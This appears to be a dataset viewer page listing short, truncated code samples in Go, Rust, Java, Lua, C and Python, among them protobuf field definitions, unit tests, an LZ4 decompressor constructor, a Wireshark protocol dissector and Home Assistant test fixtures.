},
{
MessageName: name,
Name: "after",
Optional: true,
Type: &proto.TypeInfo{
Type: proto.Type_TYPE_TIMESTAMP,
},
},
{
MessageName: name,
Name: "beforeRelative",
Optional: true,
Type: &proto.TypeInfo{
Type: proto.Type_TYPE_RELATIVE_PERIOD,
},
... | Go |
fn control_char_escape_g() {
test_eval_simple("'\\^G'", "\x07");
}
#[test]
fn control_char_escape_h() {
test_eval_simple("'\\^H'", "\x08");
}
#[test]
fn control_char_escape_i() {
test_eval_simple("'\\^I'", "\x09");
}
#[test]
fn control_char_escape_j() {
test_eval_simple("'\\^J'", "\x0a");
}
#[test]
... | Rust |
is stopped after the first non-skippable frame
* @throws IOException if an I/O error occurs
*/
public LZ4FrameInputStream(InputStream in, LZ4SafeDecompressor decompressor, XXHash32 checksum, boolean readSingleFrame) throws IOException {
super(in);
this.decompressor = decompressor;
this.checksum = ... | Java |
allowance_base_response = {}
-- Read runtime size of: Update Remaining Risk Allowance Base Response
eurex_derivatives_eti_t7_v13_0.update_remaining_risk_allowance_base_response.size = function(buffer, offset)
local index = offset
-- Dependency element: Body Len
local body_len = buffer(offset - 6, 4):le_uint()
... | Lua |
s(3));
}
@Test
public void testSwap() {
assertThat(Seqs.newMutableSeq(1, 2, 3, 4).swap(1, 2), equalTo(Seqs.newMutableSeq(1, 3, 2, 4)));
MutableSeq<Integer> seq = Seqs.newMutableSeq(1, 2, 3, 4);
seq.swapInPlace(1, 2);
assertThat(seq, equalTo(Seqs.newMutableSeq(1, 3, 2, 4)));
... | Java |
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <input/input.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/view_stack.h>
#include <gui/scene_manager.h>
#include <gui/modules/text_input.h>
#in... | C |
"""Fixtures for Verisure integration tests."""
from __future__ import annotations
from collections.abc import Generator
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
from homeassistant.components.verisure.const import CONF_GIID, DOMAIN
from homeassistant.const import CONF_EMAIL, CONF_PASSWORD
... | Python |
/****************************************************************************
*
* Copyright (c) 2020 Vivante Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without ... | C |
ider doing this for its own handler threads.
excluded.instanceField("android.os.Message", "obj");
excluded.instanceField("android.os.Message", "next");
excluded.instanceField("android.os.Message", "target");
}
if (SDK_INT >= KITKAT && SDK_INT <= LOLLIPOP_MR1) {
... | Java |
RX_100_IF_IFNAME_MAP_B.put(523, "ip-0/0/0");
SRX_100_IF_IFDESCR_MAP_B.put(523, "ip-0/0/0");
SRX_100_IF_IFNAME_MAP_B.put(529, "sp-0/0/0.0");
SRX_100_IF_IFDESCR_MAP_B.put(529, "sp-0/0/0.0");
SRX_100_IF_IFNAME_MAP_B.put(513, "fe-0/0/5");
SRX_100_IF_IFDESCR_MAP_B.put(513, "fe-0/0/5");
SRX_100_IF_MAC... | Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.